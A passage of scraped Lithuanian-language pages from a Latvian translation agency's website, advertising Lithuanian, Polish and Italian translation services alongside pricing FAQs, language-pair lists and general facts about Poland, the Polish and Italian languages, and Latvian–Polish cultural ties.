projektus. Remiantis tarpministeriniu studentų, mokslininkų ir dėstytojų mainų susitarimu, vyksta aktyvūs studentų, doktorantų, dėstytojų ir mokslininkų mainai. Latvijos aukštosios mokyklos yra pasirašiusios bendradarbiavimo sutartis su Vilniaus universitetu, Klaipėdos universitetu, Vytauto Didžiojo universitetu, Mykolo Romerio universitetu, Lietuvos Sveikatos Mokslų universitetu, Lietuvos muzikos ir teatro akademija, Vilniaus dailės akademija, Lietuvos edukologijos universitetu (dabar – VDU Švietimo akademija) ir kt. Nuo 1991 m. Rygoje veikia Rygos lietuvių vidurinė mokykla – https://www. rlvs. lv. Latvijos nacionalinė opera aktyviai bendradarbiauja su Lietuvos nacionaline opera, keičiasi menininkais ir dirigentais. Intensyviai bendradarbiauja abiejų šalių meno muziejai, nacionalinės bibliotekos ir archyvai. Latvijos nacionalinis dailės muziejus sėkmingai bendradarbiauja su Lietuvos nacionaliniu dailės muziejumi Vilniuje. Kai kuriuose Latvijos universitetuose lietuvių kalba dėstoma kaip papildomas arba pagrindinis dalykas. Lietuvos ambasada Latvijoje, įsikūrusi Rygoje, rūpinasi Lietuvos piliečiais – https://lv. mfa. lt. SPRENDIMAI, KURIE DAŽNIAUSIAI TEIKIAMI LIETUVIŲ KALBA: dokumentų vertimas į lietuvių kalbą; skubūs rašytiniai vertimai; notaro patvirtintas vertimas; interneto svetainių vertimas; lietuviškų tekstų korektūra; tekstų adaptacija ir kūrybinių tekstų rengimas; DTP – grafinio dizaino paslaugos; vertimas žodžiu į lietuvių kalbą; individualūs lietuvių kalbos kursai. LIETUVIŲ KALBOS KOMBINACIJOS: latvių–lietuvių; lietuvių–latvių; estų–lietuvių; lietuvių–estų; anglų–lietuvių; lietuvių–anglų; rusų–lietuvių; lietuvių–rusų; lenkų–lietuvių; lietuvių–lenkų; ukrainiečių–lietuvių; lietuvių–ukrainiečių; čekų–lietuvių; lietuvių–čekų; vokiečių–lietuvių; lietuvių–vokiečių; ispanų–lietuvių; lietuvių–ispanų; prancūzų–lietuvių; lietuvių–prancūzų; italų–lietuvių; lietuvių–italų; danų–lietuvių; lietuvių–danų; švedų–lietuvių; lietuvių–švedų; norvegų–lietuvių; lietuvių–norvegų; suomių–lietuvių; lietuvių–suomių ir kt. --- > Kalbų sprendimai daugiau nei 300 lenkų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - Published: 2022-07-13 - Modified: 2024-08-12 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-polu-valoda/ - Translation Priorities: Optional Ieškote kalbinių sprendimų lenkų kalba? Susisiekite su mumis! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti ISO sertifikatais patvirtinta kokybės ir konfidencialumo garantijaMūsų projektų vadovai kalba latvių, rusų, anglų, vokiečių ir lenkų kalbomis99 % klientų pasiūlymą gauna greičiau nei per 15 minučiųDaugiau nei 3 000 kalbos specialistų ir gimtakalbiųDaugiau nei 98 % klientų norėtų mus rekomenduoti savo draugams ir partneriamsKasmet mūsų biure išverčiama daugiau kaip 16 milijonų žodžių. VERTIMAI Į LENKŲ KALBĄ KIEK KAINUOJA VERTIMAI Į LENKŲ KALBĄ? Vertimo į lenkų kalbą ir iš jos kaina apskaičiuojama kiekvienam užsakymui atskirai. Apskaičiuojant kainą atsižvelgiama į įvairius jūsų užsakymui būdingus duomenis, pvz. , nuosekliojo vertimo žodžiu ir sinchroninio vertimo žodžiu kaina priklauso nuo paslaugos teikimo laiko, renginio vietos, kelionės išlaidų, dienpinigių. Sinchroninis vertimas žodžiu taip pat apima papildomas techninės pagalbos išlaidas, atsižvelgiant į dalyvių skaičių ir pan. Rašytinių vertimų kainą lemia verčiamos medžiagos apimtis ir įskaitomumas, vertimo terminai, terminijos sudėtingumas, pasikartojimai tekste, paveikslėlių ir grafikos sudėtingumas ir formatavimas, korektūra, taip pat kitos kliento pasirinktos papildomos paslaugos. AR YRA VERTIMŲ KAINORAŠTIS? Žinoma, vertimo raštu ir žodžiu (sinchroninio ir nuosekliojo), lokalizavimo ir adaptavimo iš / į lenkų kalbą paslaugų kainoraštis yra neatsiejama mūsų bendradarbiavimo sutarties su klientais dalis. Kiekvieną kartą „Skrivanek“ vertimo projektų vadovai prieš pradėdami kiekvieną vertimo projektą parengia išsamią informaciją apie vertimo kainą. Pasiūlymas parengiamas per 30 minučių. Nustatant rašytinių darbų kainą atsižvelgiama į pirminio teksto žodžių skaičių, pasikartojimus, grafinių elementų sudėtingumą ir kitus parametrus. Laukiame jūsų medžiagos vertimui el. paštu, kad galėtume pateikti pasiūlymą. ĮDOMŪS FAKTAI APIE LENKIJĄ IR LENKŲ KALBĄ Lenkų kalbos tarmes galima suskirstyti į dvi pagrindines grupes. Pirmoji yra rytų lechitų tarmių grupė, kurią sudaro keturios lenkų kalbos tarmės: Didžiosios Lenkijos, Mažosios Lenkijos, Mozūrų ir Silezijos tarmės. Antroji – viduriniųjų (pakrančių) lechitų tarmių grupė, kuriai priklauso kašubų tarmė, dažnai laikoma atskira kalba. Šiandien gyva ir vartojama tik Silezijos tarmė, ir ne tik tarp kaimo gyventojų. Kašubų kalba yra daugiau regioninė kalba. Lenkų kalbos raidos periodizacija pagal statusą ir paplitimą: senoji lenkų kalba (iki bendrinės lenkų kalbos atsiradimo XVI a. ); XVI–XVIII a . amžiaus viduryje (atsiradus lenkų literatūrinei kalbai ir prasidėjus jos norminimui); naujoji lenkų kalba (lenkų kultūros atsiradimas ir kalbos paplitimas visuose visuomenės sluoksniuose); šiuolaikinė kalba (po Antrojo pasaulinio karo ir valstybinės kalbos statuso atkūrimo). Lenkų kalba kaip atskira kalba pradėjo formuotis X a . Lenkų kalboje yra apytiksliai 140 000 žodžių. Kaip ir visose slavų kalbose, lenkų kalboje gausu deminutyvų, kurie padeda suformuoti daug išsireiškimų. Čikaga laikoma didžiausios lenkų mažumos namais JAV. Lenkų kalboje yra be galo daug žodžių, o tai kelia iššūkius visiems, norintiems išmokti lenkų, pavyzdžiui – szczęście (laimė), źdźbło (žolės stiebas), pszczoła (bitė) ir daugelis kitų. Jei kalbame apie lenkų kaip vieną sudėtingiausių kalbų pasaulyje, tad tam pritariama net mados pasaulyje – labai populiarūs marškinėliai su užrašu „I speak POLISH. What‘s your superpower? “ („Aš kalbu LENKIŠKAI. O kokia tavo supergalia? “) Lenkų kalboje daug raidžių junginių, kurie žymi vieną fonemą (lenkiškai dwuznaki): cz, ch, sz, rz, dz, dż ir dź. Dėl jų žodžiai yra išties sunkiai ištariami ir todėl lenkų kalba laikoma viena sudėtingiausių kalbų pasaulyje. Iš tiesų, Lenkijos miesto Łódź (Lodzė) pavadinimą lenkai taria kaip „Vudža“, o ne „Lodza“, kaip būtų įprasta latvių kalboje. Lenkijos pasididžiavimas yra vienas žinomiausių lenkų ir pasaulio muzikantų, fortepijoninės muzikos kompozitorių ir atlikėjų – Frederikas Šopenas. Kalbama, jog jo širdis saugoma Varšuvos Švento Kryžiaus bažnyčioje. Varšuvoje įrengti keli suoliukai, kurie groja Šopeno darbų dalis. XVI a. Lenkijos mieste Torunoje gimė žymus astronomas Nikolajus Kopernikas. Jei kam nors Lenkijoje dovanojate gėles, įsitikinkite, jog jų skaičius yra nelyginis, ir venkite gėlių, kurios turi kultūrinę reikšmę – ypač geltonųjų chrizantemų, kurios naudojamos laidotuvėse ir raudonų ar baltų gėlių, pavyzdžiui, gvazdikų ir lelijų. Lenkija yra didžiausia gintaro eksportuotoja pasaulyje – manoma, kad Lenkijos produkcijos lygmuo pasaulio rinkoje gali siekti net 70 %. Lenkijoje gyvena sunkiausi Europos gyvūnai. Europinis bizonas yra sunkiausias sausumos gyvūnas Europoje, kurio svoris vidutiniškai siekia daugiau nei 600 kg. Juos galima pamatyti besiganančius daugiau nei 150 000 hektarų dydžio Belovežo girioje Lenkijoje – paskutiniame pirmykščiame miške Europoje, kuris kadaise dengė visą žemyną. Marija Kiuri, moteris, kuri atrado polonį (tarp kitko, pavadintą Marijos Kiuri gimtinės – Lenkijos – garbei) ir radį, nebuvo prancūzė, bet lenkė. Prieš jai susituokiant su prancūzu Pjeru Kiuri, ji buvo vardu Marija Salomėja Sklodovska. Ji buvo pirmoji moteris, pelniusi Nobelio premiją, bei pirmoji ir vienintelė moteris, pelniusi Nobelio premiją du kartus dviejose skirtingose mokslo šakose. LENKŲ KALBOS ABĖCĖLĖ Lenkų kalbos abėcėlė remiasi lotynų kalbos abėcėle. Šiuolaikinė lenkų kalba turi 32 raides: Aa, Ąą, Bb, Cc, Ćć, Dd, Ee, Ęę, Ff, Gg, Hh, Ii, Jj, Kk, Ll, Łł, Mm, Nn, Ńń, Oo, Óó, Pp, Rr, Ss, Śś, Tt, Uu, Ww, Yy, Zz, Źź, Żż, taip pat svetimžodžiai Qq, Vv ir Xx. Literatūrinėje lenkų kalboje yra aštuoni balsiai – a, o, u (taip pat rašoma ó), e, i, y, ę (nosinė e ), ą (nosinė o) be ilgio skirtumo – ir priebalsiai: b, c, cz, ć, d, dz, dź, dż, f, g, h (taip pat rašoma ch), j, k, l, ł, m, n, ń, p, r, s, sz, ś, t, w, z, ż (taip pat rašoma rz), ź. AR SUDĖTINGA LENKŲ KALBA? Lenkų kalba yra viena sunkiausių kalbų pasaulyje, užimanti penktą vietą po mandarinų (kinų), arabų, telugų ir japonų kalbų. Nors lenkų kalba naudoja lotynišką abėcėlę, joje yra papildomų raidžių, skirtų lenkų kalbos fonetiniam užrašymui, gramatinėms ypatybėms, kitoms kalboms nebūdingoms priebalsių ir balsių junginiams žodžiuose. Išmokti lenkų kalbos pagrindiniu šnekamuoju lygiu prireiks ne mažiau kaip 44 savaičių arba 1100 valandų. Taigi pirmasis išbandymas mokantis lenkų kalbos bus žodžių tartis, ypač tų, kurie turi priebalsių junginius, pavyzdžiui: bezwzględny (negailestingas). Lenkų kalboje ta pati fonema dažnai žymima dviem raidėmis, tačiau dažnai pasitaiko ir trijų raidžių porų. Keletas gramatinių ypatybių taip pat šiek tiek apsunkins kalbos mokymąsi: trys giminės kategorijos, 7 linksniai ir asmenuotės. KUR IR KIEK KALBAMA LENKIŠKAI? Lenkų kalba yra gimtoji kalba maždaug 50 milijonų žmonių visame pasaulyje, iš kurių apie 38 milijonų – Lenkijoje, 12 milijonų – Europos šalyse ir 8 milijonų – kitose pasaulio šalyse: JAV, Kanadoje, Australijoje. Lenkijoje daugiausia kalbama lenkų kalba, kuri yra gimtoji kalba. Ši kalba yra ne tik oficialioji Lenkijos kalba, bet ir diasporos kalba Vidurio ir Rytų Europoje, Europos šalyse, JAV, Australijoje ir Pietų Afrikoje. Už Lenkijos ribų gyvena apie 20 mln. lenkų kilmės žmonių, todėl lenkų diaspora yra viena didžiausių pasaulyje. Didžiausios lenkų mažumos gyvena Baltarusijoje, Ukrainoje ir Lietuvoje. Palyginti daug lenkų taip pat gyvena ir vartoja lenkų kalbą Latvijoje, Jungtinėje Karalystėje, Rumunijoje, Čekijoje, Rusijoje, Brazilijoje, Argentinoje, Jungtinėse Amerikos Valstijose, Kanadoje, Vokietijoje, Prancūzijoje, Australijoje, Airijoje ir Izraelyje. LENKŲ KALBOS VERTĖJAS RAŠTU IR ŽODŽIU „Skrivanek Baltic“ lenkų kalbos vertėjų raštu ir žodžiu komanda atlieka įprastus rašytinių dokumentų vertimus, sudėtingus techninius vertimus ir notaro patvirtintus vertimus. „Skrivanek“ taip pat atlieka lenkiškų tekstų korektūrą ir stilistinį tobulinimą, kuria SEO turinį, pritaikytą Lenkijos rinkai ir lenkų mentalitetui. Mūsų kalbos ekspertai mielai papasakos apie kultūrinius skirtumus, verslo etiketą, istoriją ir tradicijas. Verslo klientams iš lenkų kalbos ir į lenkų kalbą dažniausiai verčiame interneto svetainių ir e. parduotuvių turinį, reklaminių šūkių adaptacijas, bendradarbiavimo sutartis, teisės aktus, teismo sprendimus ir verslo dokumentus. Taip pat atliekame nuoseklųjį vertimą žodžiu verslo ar kitiems pokalbiams, konferencijoms ir kitiems renginiams, „Zoom“ ir kitose internetinėse platformose. Fiziniams asmenims verčiame asmens tapatybės dokumentus, santuokos liudijimus, vaikų gimimo liudijimus, išsilavinimo dokumentus, pasus, medicininius dokumentus ir kt. vertimus. LENKŲ KALBA VERSLUI Bendravimas tikriausiai yra svarbiausias verslo veiksnys, tačiau užsiimdami verslu savo šalyje esame linkę jį laikyti savaime suprantamu dalyku, nes bendraujame su savo kultūros atstovais. Norėdami užmegzti verslo santykius kitoje šalyje, turime atsižvelgti į tos šalies kalbą ir kultūrą, taip pat į bendravimo ir etiketo ypatumus. Dėl savo strateginės padėties Europos centre Lenkija yra ideali vieta įmonėms investuoti, kurios nori eksportuoti savo produktus tiek į rytus, tiek į vakarus. Ji taip pat laikoma viena iš ekonomiškai stabiliausių ir sparčiausiai augančių šalių pasaulyje. Lenkija užima 15 vietą pasaulyje kaip šalis, kurioje palanku pradėti verslą. Šalies ekonominė padėtis stabili ir ji nuolat vystosi. Šiuo metu jaučiamas didelis susidomėjimas ir poreikis naujoms įmonėms restoranų verslo, konsultacinių paslaugų, ypač verslo konsultacijų, internetinių parduotuvių, renginių organizatorių, IT paslaugų, socialinės rūpybos srityse. Kaip lenkams sekasi vesti verslo pokalbius? Lenkų verslininkai paprastai yra oficialūs ir nekalbūs. Todėl tikėtina, kad jų bendravimo elgesys pirmojo susitikimo metu bus santūrus. Jie paprastai sako, ką galvoja, ir iš karto kalba apie bendradarbiavimo galimybes ir ateitį. Pirmą kartą susitikę jie nejuokauja, o pokštus palieka labiau socialinėms progoms. Lenkai paprastai nekalba garsiai, bet yra pasitikintys savimi ir ryžtingi. Lenkai yra gerai išsilavinę, aukštos kvalifikacijos ir labai kompetentingi verslininkai. Valstybinė kalba yra lenkų, tačiau dauguma lenkų kalba daugiau nei viena kalba, nes Lenkija ribojasi su daugeliu kitų šalių. Populiariausios užsienio kalbos, kuriomis kalba Lenkijos verslininkai, yra rusų, vokiečių ir anglų. Dauguma lenkų gerai kalba angliškai. Kad padarytumėte gerą įspūdį, verta išmokti bent kelis žodžius ir frazes lenkų kalba. Tai neabejotinai paskatins bendradarbiavimo susitarimų pasirašymą ir verslo pradžią Lenkijoje. Svarbu nepamiršti, kad lenkams labai svarbi šeima, todėl jie nelinkę kalbėti apie darbą ne darbo valandomis. Lenkijoje darbo diena dažnai prasideda 8. 00 val. ir baigiasi 16. 00 val. Lenkija yra labai biurokratiška šalis, kurioje asmens statusas vis dar vaidina labai svarbų vaidmenį. Už Lenkijos ribų lenkų kalba nėra plačiai naudojama verslo tikslais, nes dauguma lenkakalbių gyvena savo šalyje. LENKAI LATVIJOJE 45 584 lenkai Latvijoje sudaro lenkų tautinę mažumą ir (2017 m. Latvijos duomenimis) 2,3 % Latvijos gyventojų. Dauguma Latvijos lenkų gyvena Daugpilio, Rygos ir Jelgavos miestuose, taip pat Daugpilyje ir Kraslavoje. Lenkų tautybės žmonės dabartinės Latvijos teritorijoje gyvena nuo XVII a. Krišjanio Barono „Latvju dainas“ (Latvių dainos) yra 173 liaudies dainoų su leksema „lenkai“ variantai, tačiau Latvijos universiteto Literatūros, folkloro ir meno instituto Latvijos folkloro fondo medžiagoje yra 205 liaudies dainų su lenkų ar lenkiška tematika variantai; daugiausia dainų yra iš Latgalos (43 %) ir Kuržemės (26 %). Kai kurios latvių liaudies dainos apie lenkus atsirado kaip prisiminimai apie lenkų ir rusų karus arba tatalinės. Šiandien Latvija ir Lenkija palaiko glaudžius ryšius visose srityse ir visais lygmenimis. Aktyviausiai bendradarbiaujama gynybos, vidaus reikalų, regioninės plėtros, vietos valdžios, švietimo ir kultūros srityse. Vienas iš prioritetų – skatinti didelį potencialą turinčius prekybinius ir ekonominius ryšius. Latvija yra suinteresuota toliau plėtoti ir stiprinti šiuos ryšius dvišaliu pagrindu, taip pat Baltijos jūros regione, Europos Sąjungoje, NATO ir tarptautinėse organizacijose, įskaitant JT. Latvijos ir Lenkijos bendradarbiavimas švietimo ir kultūros srityje yra platus ir įvairus. Lenkų diaspora Latvijoje atlieka svarbų vaidmenį stiprinant abiejų šalių santykius. Latvijoje gyvena apie 46 000 lenkų – 2,3 % šalies gyventojų. Aktyviai veikia Latvijos lenkų asociacija ir Lenkų kultūros centras Daugpilyje, vienijantys Latvijoje gyvenančius lenkų bendruomenės atstovus ir lenkų kultūros mylėtojus. Pagal Latvijos ir Lenkijos bendradarbiavimo kultūros ir švietimo srityje programą numatomos abipusės stipendijos studijoms, moksliniams tyrimams ir vasaros mokykloms, bendradarbiavimas lenkų tautinių mažumų klausimais, lenkų kalbos ir literatūros bei latvių kalbos, kultūros ir literatūros specialistų mainai. Bendrojo lavinimo mokykloje lenkų kalbos ir kultūros mokoma keliose Latvijos švietimo įstaigose, vykdančiose tautinių mažumų švietimo programas: Kraslavos grafų Platerių garbei pavadinta lenkų mokykla; Rygos Itos Kozakevičos lenkų vidurinė mokykla; J. Pilsudskio Daugpilio valstybinė lenkų gimnazija; Rėzeknės valstybinė lenkų gimnazija; Lenkija nuolat teikia finansinę ir techninę paramą lenkų mokykloms, kviestiniams mokytojams iš Lenkijos ir suteikia galimybę Latvijos mokytojams tobulinti profesinius įgūdžius Lenkijoje. Latvija ir Lenkija aktyviai bendradarbiauja aukštojo mokslo srityje. Keletas Latvijos universitetų, pavyzdžiui, Latvijos universitetas, Latvijos žemės ūkio universitetas ir Latvijos dailės akademija, pasirašė bendradarbiavimo ir studentų bei dėstytojų mainų sutartis su Lenkijos universitetais. Taip pat aktyviai bendradarbiaujama kultūros srityje. Atlikėjai nuolat dalyvauja abiejų šalių festivaliuose ir koncertuose, o Latvijos muzikos ansambliai bendradarbiauja su Lenkijos dirigentais. Tarptautiniai rašytojų ir vertėjų namai glaudžiai bendradarbiauja su Lenkija, kurioje nuolat lankosi lenkų rašytojai, poetai ir vertėjai. Varšuvos nacionalinė biblioteka, Lenkijos Seimo biblioteka ir Pomeranijos biblioteka Ščecine yra ilgametės bendradarbiavimo partnerės su Latvijos nacionaline biblioteka. Nuolatinius projektus su Lenkijos atstovais vykdo Latvijos šiuolaikinio meno centras, Latvijos etnografinis muziejus po atviru dangumi, Memorialinių muziejų asociacija ir Latvijos nacionalinis istorijos muziejus. Latvija iš Lenkijos gauna didelę paramą kultūros paveldui išsaugoti. Lenkija skyrė paramą Pašienės vienuolyno, kuris kartu su Pašienės Švento Dominyko Romos katalikų bažnyčia yra vienas gražiausių ir iškiliausių Lenkijos ar Rytų Europos baroko stiliaus sakralinių pastatų Latgaloje ir Latvijoje, restauravimui. Nuo 1999 m. bažnyčia įtraukta į Europos paveldo sąrašą. Kelerius metus buvo restauruojamos Kraslavos Švento Liudviko Romos katalikų bažnyčios freskos, o praktinius darbus atliko restauratoriai iš Lenkijos. Lenkijos vyriausybė finansavo Kraslavos Romos katalikų bažnyčios šoninio altoriaus restauravimo darbus. Lenkijos vyriausybė taip pat finansavo Piedrujos Romos katalikų bažnyčios altoriaus paveikslo restauravimą. Lenkijos Respublikos ambasada Latvijoje atidaryta 1991 m. lapkričio 12 d. Prieš aštuoniolika metų dabartinė Lenkijos ambasadorė Latvijoje Monika Mihališina dirbo Latvijos kultūros akademijoje ir vadovavo Latvijos ir Lenkijos tarpkultūrinių ryšių studijų programai, o gimtojoje Lenkijoje dėstė Varšuvos universitete latvių kalbą ir latvių kultūrą. SPRENDIMAI, KURIE DAŽNIAUSIAI TEIKIAMI LENKŲ KALBA: dokumentų vertimai į lenkų kalbą; skubūs rašytiniai vertimai; notaro patvirtinti vertimai; lokalizacija; interneto svetainės vertimas į lenkų kalbą; mašininis vertimas su redagavimu; tekstų adaptacija ir kūrybinių tekstų rengimas; DTP – grafinio dizaino paslaugos; vertimas žodžiu į lenkų kalbą; individualūs lenkų kalbos kursai. LENKŲ KALBOS KOMBINACIJOS: lenkų–latvių; latvių–lenkų; lenkų–lietuvių; lietuvių–lenkų; estų–lenkų; lenkų–estų; anglų–lenkų; lenkų–anglų; rusų–lenkų; lenkų–rusų; ukrainiečių–lenkų; lenkų–ukrainiečių; čekų–lenkų; lenkų–čekų; vokiečių–lenkų; lenkų–vokiečių; ispanų–lenkų; lenkų–ispanų; prancūzų–lenkų; lenkų–prancūzų; italų–lenkų; lenkų–italų; danų–lenkų; lenkų–danų; švedų–lenkų; lenkų–švedų; norvegų–lenkų; lenkų–norvegų; suomių–lenkų; lenkų–suomių; lenkų–arabų; arabų–lenkų; lenkų–armėnų, armėnų–lenkų; lenkų–baltarusių, baltarusių–lenkų; bulgarų–lenkų, lenkų–bulgarų; lenkų–hebrajų, hebrajų–lenkų, lenkų–graikų, graikų–lenkų; lenkų–gruzinų; gruzinų–lenkų; lenkų–hindi; hindi–lenkų; lenkų–olandų; olandų–lenkų; lenkų–korėjiečių; korėjiečių–lenkų; lenkų–kurdų; kurdų–lenkų; lenkų–kinų; kinų–lenkų; lenkų–portugalų; portugalų–lenkų; lenkų–rumunų; rumunų–lenkų; lenkų–slovakų; slovakų–lenkų; lenkų–slovėnų; slovėnų–lenkų; lenkų–turkų; turkų–lenkų; lenkų–vengrų; vengrų–lenkų ir kt. --- > Kalbų sprendimai, susiję su daugiau nei 300 italų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - Published: 2022-07-13 - Modified: 2024-08-12 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-italu-valoda/ - Translation Priorities: Optional Ieškote kalbinių sprendimų italų kalba? Susisiekite su mumis! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti ISO sertifikatais patvirtinta kokybės ir konfidencialumo garantijaMūsų projektų vadovai kalba latvių, rusų, anglų, vokiečių ir lenkų kalbomis99 % klientų pasiūlymą gauna greičiau nei per 15 minučiųDaugiau nei 3 000 kalbos specialistų ir gimtakalbiųDaugiau nei 98 % klientų norėtų mus rekomenduoti savo draugams ir partneriamsKasmet mūsų biure išverčiama daugiau kaip 16 milijonų žodžių. VERTIMAI Į ITALŲ KALBĄ KIEK KAINUOJA VERTIMAS Į ITALŲ KALBĄ? Vertimų iš / į italų kalbą kaina nustatoma kiekvienam užsakymui atskirai. Nustatant kainą atsižvelgiama į keletą veiksnių – nuosekliojo ir sinchroninio vertimo kaina priklauso nuo laiko, vietos, kelionės išlaidų, dienpinigių, sinchroninio vertimo techninės pagalbos, vertėjų žodžiu skaičiaus ir kt. Rašytinių vertimų kainą lemia verčiamos medžiagos apimtis, vertimo terminai, teksto turinio sudėtingumas, pasikartojimai tekste, grafinis apdorojimas ir formatavimas, korektūra, redagavimas ir kitos kliento pasirinktos papildomos paslaugos. AR YRA VERTIMŲ KAINORAŠTIS? Taip, vertimo raštu ir žodžiu (sinchroninio ir nuosekliojo), lokalizavimo ir adaptavimo iš / į italų kalbą paslaugų kainoraštis yra neatsiejama mūsų bendradarbiavimo sutarties su klientais dalis. „Skrivanek“ vertimo projektų vadovai, prieš pradėdami kiekvieną vertimo projektą, visada pateikia išsamų pasiūlymą. Paprastai pasiūlymas parengiamas per 30 minučių. Nustatant rašytinių darbų kainą atsižvelgiama į pirminio teksto žodžių skaičių, pasikartojimus, grafinių elementų sudėtingumą ir kitus parametrus. Laukiame jūsų medžiagos vertimui el. paštu, kad galėtume pateikti pasiūlymą. ĮDOMŪS FAKTAI APIE ITALŲ KALBĄ Italų kalba yra indoeuropiečių kalbų šeimos romanų kalba, kurios pagrindą sudaro vulgarioji lotynų kalba. Italų kalba laikoma tiesiogine lotynų kalbos palikuonė. Italų kalbos ištakos siekia I a. Ji kilo iš šnekamosios lotynų kalbos, kuri buvo oficiali senovės Romos kalba. Italų kalba raštu pradėta vartoti maždaug X mūsų eros amžiuje įvairių užrašų ir trumpų tekstų pavidalu. Seniausias rašytinis paminklas italų kalba datuojamas 960 m. Italų kalba yra oficiali Italijos ir Europos Sąjungos kalba, o dviejose ES šalyse – Kroatijoje ir Slovėnijoje – ji yra mažumos kalba. Šalia vokiečių, anglų ir prancūzų kalbų ji yra viena iš labiausiai paplitusių kalbų ES. Italų kalba nėra tarptautinė verslo kalba, kaip anglų, prancūzų ar ispanų, tačiau ji plačiai vartojama Viduržemio jūros regiono šalyse ir yra viena populiariausių užsienio kalbų pasaulyje pagal besimokančiųjų skaičių. Meno istorikams ir muzikantams pravers geros italų kalbos žinios. Ši kalba atlieka svarbų vaidmenį gastronomijos pasaulyje. Italų kalba padarė įtaką beveik visoms pasaulio kalboms, ypač šiose srityse. Tai rodo beveik visišką Italijos kultūros dominavimą Europos istorijoje nuo Romos imperijos laikų, nuo Renesanso iki šių dienų. Italų literatūrinės kalbos pagrindą sudaro Toskanos (Florencijos) dialektas, kurį XIII–XIV a. sukūrė ir išpopuliarino tokie rašytojai kaip Dantė Aligjeris (Dante Alighieri) , Džovanis Bokacas (Giovanni Boccaccio) ir Frančeskas Petrarka (Francesco Petrarch). Ilgą laiką nebuvo nusistovėjusios literatūrinės kalbos, o rašytojai rašė savo regionine tarme. Italijoje kiekvienas miestas visada turėjo savo tarmę, nes dar prieš kelis šimtmečius daugelis miestų buvo laikomi atskiromis miestų valstybėmis. Prancūzų kalba iš italų kalbos pasiskolino apie 3000 žodžių. Kaimyninėms tarmėms Prancūzijoje, Kroatijoje ar Slovėnijoje didelę įtaką daro italų kalba. Maltiečių kalba turi daug itališkų skolinių. Šiandien italų kalba yra darbo kalba Vatikane ir svarbi visame katalikų pasaulyje. Prieš itališkus daiktavardžius rašomi artikeliai, kurie nurodo, kokiai giminei ir skaičiui priklauso daiktavardis. Moteriškos giminės daiktavardžiai vartojami su artikeliu „la“, vyriškos giminės daiktavardžiai – su artikeliu „il“. Moteriškos giminės daugiskaitiniai daiktavardžiai vartojami su straipsniu „le“, o vyriškos giminės daugiskaitiniai daiktavardžiai – su artikeliu „i“. Italų kalboje taip pat vartojamas neapibrėžtasis moteriškosios giminės daiktavardis „una“ ir vyriškosios giminės daiktavardis „un“. Italijos lingvistinė įvairovė didesnė nei kitose romaniškai kalbančiose šalyse kartu sudėjus. Literatūrinė italų kalba daugeliu atžvilgių yra artimesnė ispanų ar portugalų, o ne pjemontiečių ar neapoliečių kalboms. Pjemonto dialektai artimesni provanso ir prancūzų nei italų kalboms. Toskanos kalba vis dar laikoma literatūriškai taisyklingiausia italų kalbos tarme, nes ji artimiausia klasikinei lotynų kalbai. 1861 m. įvykęs Italijos suvienijimas turėjo didelį poveikį ne tik politiniam gyvenimui, bet ir socialiniams, ekonominiams ir kultūriniams pokyčiams. Įvedus privalomąjį švietimą, raštingumas tapo svarbesnis, ir daugelis žmonių, pasirinkę valstybinę kalbą, pamiršo savo gimtąją tarmę. Italų kalbos plačiai mokoma daugelyje mokyklų ir universitetų visame pasaulyje, tačiau retai kaip pirmosios užsienio kalbos. XXI a. technologijos padeda populiarinti italų kalbą, siūlydamos naujus ir paprastus būdus, kaip išmokti kalbėti, skaityti ir rašyti itališkai. Italijos užsienio reikalų ministerijos duomenimis, kasmet vidutiniškai daugiau nei 200 000 užsienio studentų nori išmokti italų kalbos. ITALŲ KALBOS ABĖCĖLĖ Lotynų abėcėlė paplito visoje Romos imperijoje ir išliko po jos žlugimo. Kai Europos tautos ėmė kurti savo nacionalinius raštus, jos rėmėsi lotyniškuoju raidynu, įskaitant X a. italus. Lotynų abėcėlė buvo papildyta naujomis raidėmis, atitinkančiomis fonetinius garsus, arba kai kurios raidės buvo išbrauktos iš lotynų abėcėlės. Italų kalbos abėcėlę sudaro 21 raidė. Raidės (j, k, w, x, y) tradiciškai išbrauktos iš abėcėlės, nors jų pasitaiko svetimuose žodžiuose. Italų kalbos abėcėlė yra kilusi iš lotynų kalbos abėcėlės. Ją sudaro penki balsiai (a, e, 